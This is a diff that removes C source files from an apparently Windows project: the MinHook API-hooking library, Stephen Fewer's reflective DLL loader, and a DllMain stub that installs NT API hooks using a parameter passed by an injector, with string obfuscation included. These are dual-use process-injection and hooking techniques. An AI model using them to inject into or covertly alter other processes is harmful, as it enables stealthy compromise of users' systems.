|
|
||||||
}
|
|
||||||
else if ((hs.opcode & 0xF0) == 0x70
|
|
||||||
|| (hs.opcode & 0xFC) == 0xE0
|
|
||||||
|| (hs.opcode2 & 0xF0) == 0x80)
|
|
||||||
{
|
|
||||||
// Direct relative Jcc
|
|
||||||
ULONG_PTR dest = pOldInst + hs.len;
|
|
||||||
|
|
||||||
if ((hs.opcode & 0xF0) == 0x70 // Jcc
|
|
||||||
|| (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
|
|
||||||
dest += (INT8)hs.imm.imm8;
|
|
||||||
else
|
|
||||||
dest += (INT32)hs.imm.imm32;
|
|
||||||
|
|
||||||
// Simply copy an internal jump.
|
|
||||||
if ((ULONG_PTR)ct->pTarget <= dest
|
|
||||||
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
|
|
||||||
{
|
|
||||||
if (jmpDest < dest)
|
|
||||||
jmpDest = dest;
|
|
||||||
}
|
|
||||||
else if ((hs.opcode & 0xFC) == 0xE0)
|
|
||||||
{
|
|
||||||
// LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
// Invert the condition in x64 mode to simplify the conditional jump logic.
|
|
||||||
jcc.opcode = 0x71 ^ cond;
|
|
||||||
jcc.address = dest;
|
|
||||||
#else
|
|
||||||
jcc.opcode1 = 0x80 | cond;
|
|
||||||
jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
|
|
||||||
#endif
|
|
||||||
pCopySrc = &jcc;
|
|
||||||
copySize = sizeof(jcc);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ((hs.opcode & 0xFE) == 0xC2)
|
|
||||||
{
|
|
||||||
// RET (C2 or C3)
|
|
||||||
|
|
||||||
// Complete the function if not in a branch.
|
|
||||||
finished = (pOldInst >= jmpDest);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Can't alter the instruction length in a branch.
|
|
||||||
if (pOldInst < jmpDest && copySize != hs.len)
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
// Trampoline function is too large.
|
|
||||||
if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
// Trampoline function has too many instructions.
|
|
||||||
if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
ct->oldIPs[ct->nIP] = oldPos;
|
|
||||||
ct->newIPs[ct->nIP] = newPos;
|
|
||||||
ct->nIP++;
|
|
||||||
|
|
||||||
// Avoid using memcpy to reduce the footprint.
|
|
||||||
#ifndef ALLOW_INTRINSICS
|
|
||||||
memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
|
|
||||||
#else
|
|
||||||
__movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
|
|
||||||
#endif
|
|
||||||
newPos += copySize;
|
|
||||||
oldPos += hs.len;
|
|
||||||
} while (!finished);
|
|
||||||
|
|
||||||
// Is there enough place for a long jump?
|
|
||||||
if (oldPos < sizeof(JMP_REL)
|
|
||||||
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
|
|
||||||
{
|
|
||||||
// Is there enough place for a short jump?
|
|
||||||
if (oldPos < sizeof(JMP_REL_SHORT)
|
|
||||||
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Can we place the long jump above the function?
|
|
||||||
if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
ct->patchAbove = TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
// Create a relay function.
|
|
||||||
jmp.address = (ULONG_PTR)ct->pDetour;
|
|
||||||
|
|
||||||
ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
|
|
||||||
memcpy(ct->pRelay, &jmp, sizeof(jmp));
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
@@ -1,105 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
|
||||||
|
|
||||||
// Structs for writing x86/x64 instructions.
|
|
||||||
|
|
||||||
// 8-bit relative jump.
|
|
||||||
typedef struct _JMP_REL_SHORT
|
|
||||||
{
|
|
||||||
UINT8 opcode; // EB xx: JMP +2+xx
|
|
||||||
INT8 operand; // Relative destination address
|
|
||||||
} JMP_REL_SHORT, *PJMP_REL_SHORT;
|
|
||||||
|
|
||||||
// 32-bit direct relative jump/call.
|
|
||||||
typedef struct _JMP_REL
|
|
||||||
{
|
|
||||||
UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
|
|
||||||
INT32 operand; // Relative destination address
|
|
||||||
} JMP_REL, *PJMP_REL, CALL_REL;
|
|
||||||
|
|
||||||
// 64-bit indirect absolute jump.
|
|
||||||
typedef struct _JMP_ABS
|
|
||||||
{
|
|
||||||
UINT8 opcode0; // FF25 00000000: JMP [+6]
|
|
||||||
UINT8 opcode1;
|
|
||||||
UINT32 dummy;
|
|
||||||
UINT64 address; // Absolute destination address
|
|
||||||
} JMP_ABS, *PJMP_ABS;
|
|
||||||
|
|
||||||
// 64-bit indirect absolute call.
|
|
||||||
typedef struct _CALL_ABS
|
|
||||||
{
|
|
||||||
UINT8 opcode0; // FF15 00000002: CALL [+6]
|
|
||||||
UINT8 opcode1;
|
|
||||||
UINT32 dummy0;
|
|
||||||
UINT8 dummy1; // EB 08: JMP +10
|
|
||||||
UINT8 dummy2;
|
|
||||||
UINT64 address; // Absolute destination address
|
|
||||||
} CALL_ABS;
|
|
||||||
|
|
||||||
// 32-bit direct relative conditional jumps.
|
|
||||||
typedef struct _JCC_REL
|
|
||||||
{
|
|
||||||
UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
|
|
||||||
UINT8 opcode1;
|
|
||||||
INT32 operand; // Relative destination address
|
|
||||||
} JCC_REL;
|
|
||||||
|
|
||||||
// 64bit indirect absolute conditional jumps that x64 lacks.
|
|
||||||
typedef struct _JCC_ABS
|
|
||||||
{
|
|
||||||
UINT8 opcode; // 7* 0E: J** +16
|
|
||||||
UINT8 dummy0;
|
|
||||||
UINT8 dummy1; // FF25 00000000: JMP [+6]
|
|
||||||
UINT8 dummy2;
|
|
||||||
UINT32 dummy3;
|
|
||||||
UINT64 address; // Absolute destination address
|
|
||||||
} JCC_ABS;
|
|
||||||
|
|
||||||
#pragma pack(pop)
|
|
||||||
|
|
||||||
typedef struct _TRAMPOLINE
|
|
||||||
{
|
|
||||||
LPVOID pTarget; // [In] Address of the target function.
|
|
||||||
LPVOID pDetour; // [In] Address of the detour function.
|
|
||||||
LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
LPVOID pRelay; // [Out] Address of the relay function.
|
|
||||||
#endif
|
|
||||||
BOOL patchAbove; // [Out] Should use the hot patch area?
|
|
||||||
UINT nIP; // [Out] Number of the instruction boundaries.
|
|
||||||
UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
|
|
||||||
UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
|
|
||||||
} TRAMPOLINE, *PTRAMPOLINE;
|
|
||||||
|
|
||||||
BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
|
|
||||||
@@ -1,185 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
|
||||||
#error MinHook supports only x86 and x64 systems.
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// MinHook Error Codes.
|
|
||||||
typedef enum MH_STATUS
|
|
||||||
{
|
|
||||||
// Unknown error. Should not be returned.
|
|
||||||
MH_UNKNOWN = -1,
|
|
||||||
|
|
||||||
// Successful.
|
|
||||||
MH_OK = 0,
|
|
||||||
|
|
||||||
// MinHook is already initialized.
|
|
||||||
MH_ERROR_ALREADY_INITIALIZED,
|
|
||||||
|
|
||||||
// MinHook is not initialized yet, or already uninitialized.
|
|
||||||
MH_ERROR_NOT_INITIALIZED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is already created.
|
|
||||||
MH_ERROR_ALREADY_CREATED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is not created yet.
|
|
||||||
MH_ERROR_NOT_CREATED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is already enabled.
|
|
||||||
MH_ERROR_ENABLED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is not enabled yet, or already
|
|
||||||
// disabled.
|
|
||||||
MH_ERROR_DISABLED,
|
|
||||||
|
|
||||||
// The specified pointer is invalid. It points the address of non-allocated
|
|
||||||
// and/or non-executable region.
|
|
||||||
MH_ERROR_NOT_EXECUTABLE,
|
|
||||||
|
|
||||||
// The specified target function cannot be hooked.
|
|
||||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
|
||||||
|
|
||||||
// Failed to allocate memory.
|
|
||||||
MH_ERROR_MEMORY_ALLOC,
|
|
||||||
|
|
||||||
// Failed to change the memory protection.
|
|
||||||
MH_ERROR_MEMORY_PROTECT,
|
|
||||||
|
|
||||||
// The specified module is not loaded.
|
|
||||||
MH_ERROR_MODULE_NOT_FOUND,
|
|
||||||
|
|
||||||
// The specified function is not found.
|
|
||||||
MH_ERROR_FUNCTION_NOT_FOUND
|
|
||||||
}
|
|
||||||
MH_STATUS;
|
|
||||||
|
|
||||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
|
||||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
|
||||||
#define MH_ALL_HOOKS NULL
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
|
||||||
// at the beginning of your program.
|
|
||||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
|
||||||
|
|
||||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
|
||||||
// ONCE at the end of your program.
|
|
||||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
|
||||||
|
|
||||||
// Creates a Hook for the specified target function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
|
||||||
|
|
||||||
// Creates a Hook for the specified API function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pszModule [in] A pointer to the loaded module name which contains the
|
|
||||||
// target function.
|
|
||||||
// pszTarget [in] A pointer to the target function name, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApi(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
|
||||||
|
|
||||||
// Creates a Hook for the specified API function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pszModule [in] A pointer to the loaded module name which contains the
|
|
||||||
// target function.
|
|
||||||
// pszTarget [in] A pointer to the target function name, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
// ppTarget [out] A pointer to the target function, which will be used
|
|
||||||
// with other functions.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
|
||||||
|
|
||||||
// Removes an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Enables an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// enabled in one go.
|
|
||||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Disables an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// disabled in one go.
|
|
||||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Queues to enable an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// queued to be enabled.
|
|
||||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Queues to disable an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// queued to be disabled.
|
|
||||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Applies all queued changes in one go.
|
|
||||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
|
||||||
|
|
||||||
// Translates the MH_STATUS to its name as a string.
|
|
||||||
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,23 +0,0 @@
|
|||||||
//===============================================================================================//
|
|
||||||
// NT API Hooking Header
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _NTAPIHOOKS_H
|
|
||||||
#define _NTAPIHOOKS_H
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Initialize all NT API hooks
|
|
||||||
void InstallNtApiHooks(LPVOID lpParameter);
|
|
||||||
|
|
||||||
// Remove all NT API hooks
|
|
||||||
void RemoveNtApiHooks();
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // _NTAPIHOOKS_H
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// we declare some common stuff in here...
|
|
||||||
|
|
||||||
#define DLL_QUERY_HMODULE 6
|
|
||||||
|
|
||||||
#define DEREF( name )*(UINT_PTR *)(name)
|
|
||||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
|
||||||
#define DEREF_32( name )*(DWORD *)(name)
|
|
||||||
#define DEREF_16( name )*(WORD *)(name)
|
|
||||||
#define DEREF_8( name )*(BYTE *)(name)
|
|
||||||
|
|
||||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
|
||||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
|
||||||
|
|
||||||
#define DLLEXPORT __declspec( dllexport )
|
|
||||||
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
//===============================================================================================//
|
|
||||||
// This is a stub for the actuall functionality of the DLL.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveLoader.h"
|
|
||||||
#include "NtApiHooks.h"
|
|
||||||
|
|
||||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
|
||||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
|
||||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
|
||||||
|
|
||||||
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
|
||||||
extern HINSTANCE hAppInstance;
|
|
||||||
|
|
||||||
// Store the parameter passed to ReflectiveLoader
|
|
||||||
extern LPVOID g_lpReflectiveParameter;
|
|
||||||
|
|
||||||
//===============================================================================================//
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
BOOL bReturnValue = TRUE;
|
|
||||||
switch (dwReason)
|
|
||||||
{
|
|
||||||
case DLL_QUERY_HMODULE:
|
|
||||||
if (lpReserved != NULL)
|
|
||||||
*(HMODULE*)lpReserved = hAppInstance;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
hAppInstance = hinstDLL;
|
|
||||||
DisableThreadLibraryCalls(hinstDLL);
|
|
||||||
|
|
||||||
// Install NT API hooks with the parameter passed from the injector
|
|
||||||
InstallNtApiHooks(g_lpReflectiveParameter);
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
// Remove hooks on detach
|
|
||||||
RemoveNtApiHooks();
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return bReturnValue;
|
|
||||||
}
|
|
||||||
@@ -1,562 +0,0 @@
|
|||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveLoader.h"
|
|
||||||
#include "obfstr.h"
|
|
||||||
//===============================================================================================//
|
|
||||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
|
||||||
HINSTANCE hAppInstance = NULL;
|
|
||||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
|
||||||
LPVOID g_lpReflectiveParameter = NULL;
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
#pragma intrinsic(_ReturnAddress)
|
|
||||||
#define RDI_NOINLINE __declspec(noinline)
|
|
||||||
#else
|
|
||||||
#define RDI_NOINLINE __attribute__((noinline))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
|
||||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
|
||||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
|
||||||
// available (and no inline asm available under x64).
|
|
||||||
RDI_NOINLINE ULONG_PTR caller(VOID)
|
|
||||||
{
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
return (ULONG_PTR)_ReturnAddress();
|
|
||||||
#elif defined(__GNUC__) || defined(__clang__)
|
|
||||||
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
|
|
||||||
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
|
|
||||||
#else
|
|
||||||
return 0;
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
||||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
|
||||||
// otherwise the DllMain at the end of this file will be used.
|
|
||||||
|
|
||||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
|
||||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
|
||||||
|
|
||||||
// This is our position independent reflective DLL loader/injector
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
|
||||||
#else
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
|
||||||
#endif
|
|
||||||
{
|
|
||||||
// the functions we need
|
|
||||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
|
||||||
GETPROCADDRESS pGetProcAddress = NULL;
|
|
||||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
|
||||||
